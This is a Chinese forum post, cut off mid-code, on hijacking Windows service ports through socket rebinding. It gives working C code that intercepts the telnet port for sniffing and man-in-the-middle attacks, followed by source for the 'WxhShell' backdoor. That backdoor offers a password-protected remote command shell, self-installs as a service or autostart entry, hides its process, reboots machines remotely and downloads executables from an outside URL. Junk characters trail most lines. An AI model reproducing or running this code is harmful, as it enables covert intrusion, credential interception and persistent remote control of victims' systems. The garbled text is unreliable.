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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @7 xb/&N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @a,X{ 0  
M,1Yce%+}  
  saddr.sin_family = AF_INET; ])paU8u  
Am3^3>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Iw(2D(se  
#W`>vd}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {?*3Ou  
LQ4GQ qS*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jSbO1go#  
Qo+_:N  
  这意味着什么?意味着可以进行如下的攻击: pjr,X+6o  
%jEdgD%xV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }5dYmny  
:_v/a+\n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SpbOvY=>  
O)C y4[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -.ITcD g  
b%>vhj&F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U1(<1eTyu  
\.p{~ Hv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 | ZBv;BW  
T)Z2=5V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9u<4Q_I`  
|aef$f5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rqk1 F~j|  
Ro :/J  
  #include CpHF3o`Z6  
  #include H?tonG.^(  
  #include <V)T_  
  #include    R?3^Kx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^SnGcr|a'  
  int main() 0] e=  
  { 3XY;g{`=q  
  WORD wVersionRequested; #mY*H^jI]~  
  DWORD ret; UP=0>jjbn:  
  WSADATA wsaData; 3DRbCKNL  
  BOOL val; tj 6 #lM9  
  SOCKADDR_IN saddr; ]$/TsN  
  SOCKADDR_IN scaddr; (!kOM% 3{  
  int err; nW2 fB8yq  
  SOCKET s; K~**. NF-n  
  SOCKET sc; D*3\4=6x  
  int caddsize; H <1g  
  HANDLE mt; Z#.J>_u )  
  DWORD tid;   lC&U9=7W  
  wVersionRequested = MAKEWORD( 2, 2 ); $/ ;:Xb=q  
  err = WSAStartup( wVersionRequested, &wsaData ); g[fCvWm#d  
  if ( err != 0 ) { [f["9(:  
  printf("error!WSAStartup failed!\n"); N'_,VB  
  return -1; lot7SXvK  
  } ZY-UQ4_|u  
  saddr.sin_family = AF_INET; X8l[B{|  
   aW hhq@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s6SG%Vd  
gaBt;@?:Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -;=0dfC(  
  saddr.sin_port = htons(23); b0PqP<{t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tcOgF:  
  { Q" BIk =  
  printf("error!socket failed!\n"); 8 PI>Q  
  return -1; kQ4-W9u  
  } %g7 !4  
  val = TRUE; 9`4mvK/@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k&|L"N|w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B$A`-  
  { n%PHHu  
  printf("error!setsockopt failed!\n"); vk\a>};  
  return -1; hnha1 f  
  } 7z!|sPW](b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HNN,1MN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hMz= \)Pl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V 9Bi2\s*  
_?Zg$7VJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HJ[@;F|aU  
  { 4UD7!  
  ret=GetLastError(); >mRA|0$  
  printf("error!bind failed!\n"); :lz@G 4 =C  
  return -1; >#).3  
  } (Qmpz  
  listen(s,2); {J3;4p-&  
  while(1) GkqKIs  
  { 5]yQMY\2)  
  caddsize = sizeof(scaddr); v^2q\A-?  
  //接受连接请求 3]DUUXg$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Wr"-~PP  
  if(sc!=INVALID_SOCKET) X3zk UMk  
  { ''P.~~ezr5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E5"%-fAJ  
  if(mt==NULL) b:Oa4vBa  
  { 8'J"+TsOW  
  printf("Thread Creat Failed!\n"); F?Cx"JYix  
  break; _r+2o-ZR  
  } :'RmT3  
  } EGWm0 F_  
  CloseHandle(mt); nDx}6}5)  
  } ihjs%5Jo%  
  closesocket(s); MHo(j%I1E  
  WSACleanup(); v-u53Fy  
  return 0; 7+wy`xi  
  }   EJ7}h?a]U_  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^eke,,~  
  { L+y}hb r  
  SOCKET ss = (SOCKET)lpParam; 7i?"akr4  
  SOCKET sc; ximW!y7  
  unsigned char buf[4096]; ~bU!4P}4j  
  SOCKADDR_IN saddr; csP 5R3  
  long num; ?m5@ 63 5  
  DWORD val; 0OLE/T<Xv  
  DWORD ret; xu9K\/{7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SYkLia(Ty  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5.!iVyN  
  saddr.sin_family = AF_INET; `7<4]#b^o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iX4?5yz~<  
  saddr.sin_port = htons(23); 4DaLt&1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n$B SO  
  { ';"W0  
  printf("error!socket failed!\n"); ;]AJ_h(<`  
  return -1; hh\}WaY  
  } 2LS03 27  
  val = 100; Do-~-d4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z_vIGH|1  
  { fWo}gH~  
  ret = GetLastError(); 297X).  
  return -1; SSH))zJ  
  } H4DM,.04  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q?df5{6  
  { i?" ~g!A  
  ret = GetLastError(); ,e\'Y!'  
  return -1; ;{mKt%#  
  } ! h7?Ap  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :t?Z  
  { ;"/[gFD5u  
  printf("error!socket connect failed!\n"); C+ \c(M a  
  closesocket(sc); UYJMW S=  
  closesocket(ss); tQz=_;jy  
  return -1; 98 dl -?  
  } rN0G|  
  while(1) $80 TRB#  
  { 8w-2Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z8v]Kt&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GZY8%.1{"a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 La&?0PA  
  num = recv(ss,buf,4096,0); :&*Y Io  
  if(num>0) *d%"/l^0  
  send(sc,buf,num,0); o@SL0H-6|  
  else if(num==0) wuRB[KLe  
  break; \@IEqm6  
  num = recv(sc,buf,4096,0); XL9smFq  
  if(num>0) f;os\8JdM  
  send(ss,buf,num,0); J_PAWW  
  else if(num==0) kpT>xS^6<  
  break; &/XRiK1"0  
  } GQ=Zp3[  
  closesocket(ss); Cq mtO?vne  
  closesocket(sc); (I(?oCQ  
  return 0 ; ZBw]H'sT  
  } kg0X2^#b  
@)[Q6w`x  
RsTz3]`yv  
========================================================== 9g %1^$R  
*4]u?R  
下边附上一个代码,,WXhSHELL z$#q'+$  
5q<cZ)v#&  
========================================================== NX wthc3  
Y#aL]LxZE  
#include "stdafx.h" }_,\yC9F  
Vl"20):  
#include <stdio.h> <%d/"XNg[D  
#include <string.h> 3y#0Lb-y  
#include <windows.h> T!![7Rs  
#include <winsock2.h> e:W]B)0/e  
#include <winsvc.h> `^3N|76Y  
#include <urlmon.h> L!:8yJK  
{J#SpG 7  
#pragma comment (lib, "Ws2_32.lib") l(&3s:Ud  
#pragma comment (lib, "urlmon.lib") c lhmpu  
V { #8+  
#define MAX_USER   100 // 最大客户端连接数 G;RFY!o  
#define BUF_SOCK   200 // sock buffer FA5|`  
#define KEY_BUFF   255 // 输入 buffer =|}_ASbzw  
5"~F#vt  
#define REBOOT     0   // 重启 8PKUg "p  
#define SHUTDOWN   1   // 关机 80(Olf@PE  
NUSb7<s,&Y  
#define DEF_PORT   5000 // 监听端口 D\13fjjHlu  
V\1pn7~V  
#define REG_LEN     16   // 注册表键长度 1 8*M  
#define SVC_LEN     80   // NT服务名长度 *dmB Ji}  
m5c=h  
// 从dll定义API OKW}8qM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YK xkO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n 0/<m.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,\fp .K<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zx #HyO[a  
G5MoIC  
// wxhshell配置信息 6 &8uLM(z  
struct WSCFG { g&E3Wc  
  int ws_port;         // 监听端口 CG[2  
  char ws_passstr[REG_LEN]; // 口令 uU$YN-  
  int ws_autoins;       // 安装标记, 1=yes 0=no #)3luf3G  
  char ws_regname[REG_LEN]; // 注册表键名 1>~bzXY#  
  char ws_svcname[REG_LEN]; // 服务名 -hd@<+;E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #BLx +mLq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pL [JGn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \&!qw[;O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RpmOg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Py@/\V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .z+S @s[O  
gWK[%.Jnw  
}; 8]@$7hy8  
pY~/<lzW  
// default Wxhshell configuration 4D'AAr57  
struct WSCFG wscfg={DEF_PORT, )6!ji]c N  
    "xuhuanlingzhe", Zk:Kux[7  
    1, OrC}WMhd  
    "Wxhshell", mJU1n  
    "Wxhshell", 4Tdp;n\F  
            "WxhShell Service", ]z77hcjB1  
    "Wrsky Windows CmdShell Service",  cFD3  
    "Please Input Your Password: ", rp&XzMwC4  
  1, " ""k}M2A  
  "http://www.wrsky.com/wxhshell.exe", twWzS 4;  
  "Wxhshell.exe" * :kMv;9  
    }; i!<1&{  
!VDNqW  
// 消息定义模块 C0K0c6A (4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n g,&;E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |KMwK png  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0 s$;3qE  
char *msg_ws_ext="\n\rExit."; 1 ORA6  
char *msg_ws_end="\n\rQuit."; h_>DcVNIx  
char *msg_ws_boot="\n\rReboot..."; .ZtW y) U  
char *msg_ws_poff="\n\rShutdown..."; [d?tf  
char *msg_ws_down="\n\rSave to "; ;T\+TZtI  
dZWO6k9[H  
char *msg_ws_err="\n\rErr!"; saa3BuV 6  
char *msg_ws_ok="\n\rOK!"; 5:yRFzhqd  
1IPRI<1U  
char ExeFile[MAX_PATH]; f1$'av  
int nUser = 0; <9dfbI)  
HANDLE handles[MAX_USER]; [4 v1 N  
int OsIsNt; yM2}J s C  
w}qLI4  
SERVICE_STATUS       serviceStatus; cjp~I/U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~K/_51O'  
(Q?@LzCjy  
// 函数声明 }vX iqT  
int Install(void); ;F;Vm$  
int Uninstall(void); =]fOQN`  
int DownloadFile(char *sURL, SOCKET wsh); JP,yRb\  
int Boot(int flag); .du2;` [$r  
void HideProc(void); p]eVby"  
int GetOsVer(void); @|PUet_pb  
int Wxhshell(SOCKET wsl); T -p~8=I  
void TalkWithClient(void *cs); Ul<:Yt&nI  
int CmdShell(SOCKET sock); Y|!m  
int StartFromService(void); "wR1=&gk  
int StartWxhshell(LPSTR lpCmdLine); yz<$?Gblz  
=5;tB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5AbY 59  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XiM d|D  
Q?2Gw N  
// 数据结构和表定义 Nu;?})tF  
SERVICE_TABLE_ENTRY DispatchTable[] = HcQ)XJPK  
{ 7G+E+A5o&  
{wscfg.ws_svcname, NTServiceMain}, K>vi9,4/ks  
{NULL, NULL} 6r.#/' "  
}; A2.GNk  
~s{ V!)0  
// 自我安装 w9w=2 *  
int Install(void) Sq SiuO.D  
{ &+]-e;[  
  char svExeFile[MAX_PATH]; 9e*o$)j_  
  HKEY key; 9$#@Oe8*  
  strcpy(svExeFile,ExeFile); P''>wjMH0  
%x-`Y[  
// 如果是win9x系统,修改注册表设为自启动 d{Cg3v`Rd  
if(!OsIsNt) { Oz4vV_a&'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ][dst@?8Oz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6DG%pF,  
  RegCloseKey(key); cTBUj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tR\cS )  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l@0${&n  
  RegCloseKey(key); Vq599M:)V  
  return 0; tIT/HG_o  
    } d=0{vsrB  
  } ,R\ex =c  
} N*f ]NCSi  
else { ^ 4Uk'T7V  
jcp6-XM  
// 如果是NT以上系统,安装为系统服务 skYHPwJdW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VGf&'nL@,  
if (schSCManager!=0) V-(*{/^"  
{ if?X^j0  
  SC_HANDLE schService = CreateService e>m+@4*sn  
  ( t$3B#=  
  schSCManager, DYF(O-hJK  
  wscfg.ws_svcname, QM'|k6  
  wscfg.ws_svcdisp, "%YVAaN  
  SERVICE_ALL_ACCESS, kX2Z@ w`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yAFt|<  
  SERVICE_AUTO_START, {%\@Z-9%q,  
  SERVICE_ERROR_NORMAL, *nK4XgD  
  svExeFile, lA` qB1x  
  NULL, V aoqI  
  NULL, ,A5}HRW%  
  NULL, ?kK3%uJy&  
  NULL, {9FL}Jrt  
  NULL x];i? 4  
  ); =M6{{lI/  
  if (schService!=0) 5@J]#bp0M  
  { {"2Hv;x  
  CloseServiceHandle(schService); Mh2Zj  
  CloseServiceHandle(schSCManager); {oS/Xa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r~G  amjS  
  strcat(svExeFile,wscfg.ws_svcname); >`l^ C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1En:QQ4/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UIkO_/}  
  RegCloseKey(key); * a^wYWa  
  return 0; ,9M2'6=  
    } :Q,~Nw>  
  } -zUBK  
  CloseServiceHandle(schSCManager); p"6ydXn%  
} g~2=he\C  
} ma xpR>7`j  
J/QqwoR  
return 1; 2tg07  
} <J>k%,:B  
d)3jkHYEjj  
// 自我卸载 9^8_^F  
int Uninstall(void) C[';B)a  
{ ,vo]WIQ\:  
  HKEY key; H& $M/`  
MJ$.ST  
if(!OsIsNt) { 4s9.")G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j rxq558  
  RegDeleteValue(key,wscfg.ws_regname); Z&4L///  
  RegCloseKey(key); ]a`"O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ">M&/}4  
  RegDeleteValue(key,wscfg.ws_regname); 3ZN\F  
  RegCloseKey(key); 8;"9A  
  return 0; }ik N  
  } Ct^=j@g  
} )H`V\ H[0P  
} %Eugy  
else { da~_(giD*  
G^cMY$?99  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /;T tMQt  
if (schSCManager!=0) cNikLd~?A  
{ YS@T Q?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *Z\AO'h=Z  
  if (schService!=0) 0_AIKJrL  
  { Ly/  
  if(DeleteService(schService)!=0) { 0176  
  CloseServiceHandle(schService); @FZ_[CYg  
  CloseServiceHandle(schSCManager); @LFB}B  
  return 0; t&p I  
  } XwfR/4  
  CloseServiceHandle(schService); AyW=.  
  } |26[=_[q  
  CloseServiceHandle(schSCManager); h:|BQC  
} :0ltq><?  
} ll[&O4.F  
^(Z%,j3O  
return 1; 9KB}?~Nx4  
} $=ESY>MO  
^O =G%de  
// 从指定url下载文件 W9oWj7&h  
int DownloadFile(char *sURL, SOCKET wsh) Sb?Ua*(L:  
{ K'/if5>Bc  
  HRESULT hr; ?`xm_udc  
char seps[]= "/"; HO_(it \  
char *token; ?Q$a@)x#  
char *file; o~W,VhCP  
char myURL[MAX_PATH]; GY %$7   
char myFILE[MAX_PATH]; @4Zkkjc4b  
Pd& Npp3  
strcpy(myURL,sURL); *_d N9  
  token=strtok(myURL,seps); x4MTE?hT  
  while(token!=NULL) W8Wjq DQ  
  { *>`6{0, 9  
    file=token; Y@< j vH1  
  token=strtok(NULL,seps); =}@1Z~  
  } %!AzFL J|Z  
Vugb;5Vl  
GetCurrentDirectory(MAX_PATH,myFILE); V rd16s  
strcat(myFILE, "\\"); uix/O*^  
strcat(myFILE, file); kma>'P`G  
  send(wsh,myFILE,strlen(myFILE),0); ,L.V>Ae  
send(wsh,"...",3,0); _"OE}$C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '/OQ[f=K  
  if(hr==S_OK) @Kn@j D;  
return 0; yTn<5T[H  
else ^16zZ*  
return 1; R#.H&#  
e2K9CE.O  
} RnU7|p{  
FA;-D5=  
// 系统电源模块 T$AVMVq  
int Boot(int flag) A0RSNAM  
{ FzP1b_i  
  HANDLE hToken; 2`%a[t@M.  
  TOKEN_PRIVILEGES tkp; hg:$H9\%  
eX lJ=S}  
  if(OsIsNt) { l]#=I7 6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]zCD1 *)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ms!|a_H7 r  
    tkp.PrivilegeCount = 1; 9:GP~oI j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U* c'xoP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wv9L }@J  
if(flag==REBOOT) { * hS6F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +A^|aQ  
  return 0; 61_-G#W  
} <2]D3,.g.  
else { $cc]Av4c2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U 8p %MFD  
  return 0; =yM%#{t&W  
} 80 T2EN:$  
  } lUA-ug! ^  
  else { Bd)Cijr  
if(flag==REBOOT) { [}GK rI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B"\9slX  
  return 0; nHH FHnFf  
} 9$U4x|n  
else { ggitUQ+t;G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y)$%-'=b+  
  return 0; Q$ Dx:  
} E/wxX#]\  
} FC6~V6R  
% ;R&cSZ  
return 1; V82I%gPF  
} R".$x{{  
=$L+J O  
// win9x进程隐藏模块 cDzb}W*UM  
void HideProc(void) }<@-=  
{ 1-N+qNSD`  
z*q+5p@~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C2\WvE%!  
  if ( hKernel != NULL ) 2/tx5Nc  
  { osd oL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CY{!BV'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q-F$Ryj^  
    FreeLibrary(hKernel); *h=>*t?I2  
  } q86}'dFw{  
vD:J!|hs(  
return; : ir3u  
} YTmHht{j#  
\%bJXTK&W  
// 获取操作系统版本 @Tq-3Um  
int GetOsVer(void) Lj#xZ!mQS  
{ qO8:|q1%;\  
  OSVERSIONINFO winfo; V/#J>-os}W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); afna7TlS  
  GetVersionEx(&winfo); 5 r_Z3/%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5M~nNm[xJU  
  return 1; vu91" 4Fa  
  else Eu "8IM!%-  
  return 0; +]( y  
} E{ e  
@1gURx&2_  
// 客户端句柄模块 \>}#[?y  
int Wxhshell(SOCKET wsl) zS|4@t\__  
{ Njr;Wa.r+  
  SOCKET wsh; <?}pCX/O  
  struct sockaddr_in client; ]jn1T^D'  
  DWORD myID; <6Y;VH^_  
&Xh>w(u  
  while(nUser<MAX_USER) 2 'D,1F  
{ _KkaseR  
  int nSize=sizeof(client); z07&P;W!{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9[&ByEAK  
  if(wsh==INVALID_SOCKET) return 1; vM!2?8bEFd  
XzX2V">(%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iWC}\&i  
if(handles[nUser]==0) +>;Ux1'@  
  closesocket(wsh); |e+3d3T35  
else s3nt2$=:t  
  nUser++; "\`Fu  
  } c}|.U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z~tdLtcX  
"aI)LlyCY  
  return 0; i>[xN[U(  
} :A!EjIL`#  
VS ;y  
// 关闭 socket ~<O.Gu&"R  
void CloseIt(SOCKET wsh) m.`I}  
{ y6-P6T  
closesocket(wsh); K5T1dBl,0  
nUser--; sJ^Ff  
ExitThread(0); -64 ;P9:A>  
} '[%Pdd]! E  
3`{;E{  
// 客户端请求句柄 j6~`C ?(  
void TalkWithClient(void *cs) #a~BigZ[G  
{ ;<' 'oY  
rP2h9Cb  
  SOCKET wsh=(SOCKET)cs; X[H.t$w5A  
  char pwd[SVC_LEN]; 7-n HPDp'  
  char cmd[KEY_BUFF]; V9}\0joM  
char chr[1]; K@%T5M4j  
int i,j; km5gO|V>m  
SqRM*Cf=  
  while (nUser < MAX_USER) { skan1wQ  
u9~Ncz  
if(wscfg.ws_passstr) { 5lP8#O?=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N~IAm:G}[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9+@z:j  
  //ZeroMemory(pwd,KEY_BUFF); 0V]MAuD($  
      i=0; NB'G{),)Z  
  while(i<SVC_LEN) { DbB<8$  
C9MK3vtD.  
  // 设置超时 Qjnh;uBO  
  fd_set FdRead; IA Ma  
  struct timeval TimeOut; -AD` (b7q  
  FD_ZERO(&FdRead); '%ZKvZ-  
  FD_SET(wsh,&FdRead); _Li.}g@Bd  
  TimeOut.tv_sec=8; He4HI Z  
  TimeOut.tv_usec=0; qzA_ ~=g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $ kHXt]fU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7t#Q8u?  
V#.pi zb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4guR8 elM  
  pwd=chr[0]; t\ z@k9  
  if(chr[0]==0xd || chr[0]==0xa) { &=M4Z/Ao  
  pwd=0; .o]I^3tf c  
  break; }a, ycFt  
  } cC/32SmY4  
  i++; sq(5k+y*J  
    } u$zRm(!RB  
tN4&#YK<  
  // 如果是非法用户,关闭 socket Sw; kUJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fq <JxamR  
} I~YV&12  
i M MKA0JM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j7a }<\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _unoDoB  
cpw=2vnD  
while(1) { ;Gn>W+Ae M  
mOHOv61  
  ZeroMemory(cmd,KEY_BUFF); pCo3%(  
6'e^np  
      // 自动支持客户端 telnet标准   /AOGn?Z3  
  j=0; <A|z   
  while(j<KEY_BUFF) { 6LCR ;~ ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <8? F\x@  
  cmd[j]=chr[0]; &nVekE:!  
  if(chr[0]==0xa || chr[0]==0xd) { D4y!l~_,%M  
  cmd[j]=0; Bfo#N31F}  
  break; Whp`\E< <  
  } jck(cc= R  
  j++; {g`!2"  
    } -~xQ@+./  
ia; osqW  
  // 下载文件 f_LXp$n  
  if(strstr(cmd,"http://")) { n/*" 2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qa@;S,lp  
  if(DownloadFile(cmd,wsh)) SDSP4W5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tq~f9EvC  
  else GhcH"D%-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <P0 P*>M  
  } eg?p)|  
  else { fr04nl  
;vPFRiFK  
    switch(cmd[0]) { [4YRyx&:++  
  SEg{Gso9b  
  // 帮助 we!w5./Xm  
  case '?': { '-n Iy$>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B:UPSX)A  
    break; eY?OUS  
  } ZBx,'ph}4  
  // 安装 F 2zUz[  
  case 'i': { X6$Cd]MN  
    if(Install()) kCz2uG)l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;=^J_2ls  
    else 83_mR*tGNp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \8\T TkVSq  
    break; VyYrL]OrA  
    } $6 Hf[(/e  
  // 卸载 t.RDS2N|  
  case 'r': { c2 :,  
    if(Uninstall()) Q"eqql<h#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >c Tt2v  
    else 3$K[(>s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JgP%4)]LV  
    break; A/}[Z\C  
    } }2*qv4},!  
  // 显示 wxhshell 所在路径 !blGc$kC  
  case 'p': { \Wppl,"6c  
    char svExeFile[MAX_PATH]; <?L5bhq  
    strcpy(svExeFile,"\n\r"); IN#/~[W  
      strcat(svExeFile,ExeFile); QqW N7y_9  
        send(wsh,svExeFile,strlen(svExeFile),0); U1/ww-!Z  
    break; Gx4uf  
    } jgXr2JQ<  
  // 重启 &dj/Dq@  
  case 'b': { Gf.xr%mUZr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nZL!}3@<  
    if(Boot(REBOOT)) +Lc+"0*gV*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Pn:10;  
    else { iK1{SgXrFI  
    closesocket(wsh); 5"!K8 N  
    ExitThread(0); z52F-<  
    } (;9fkqm%m  
    break; Ygg(qB1q  
    } QKvaTy#  
  // 关机 uX{g4#eG  
  case 'd': { TPkP5w  
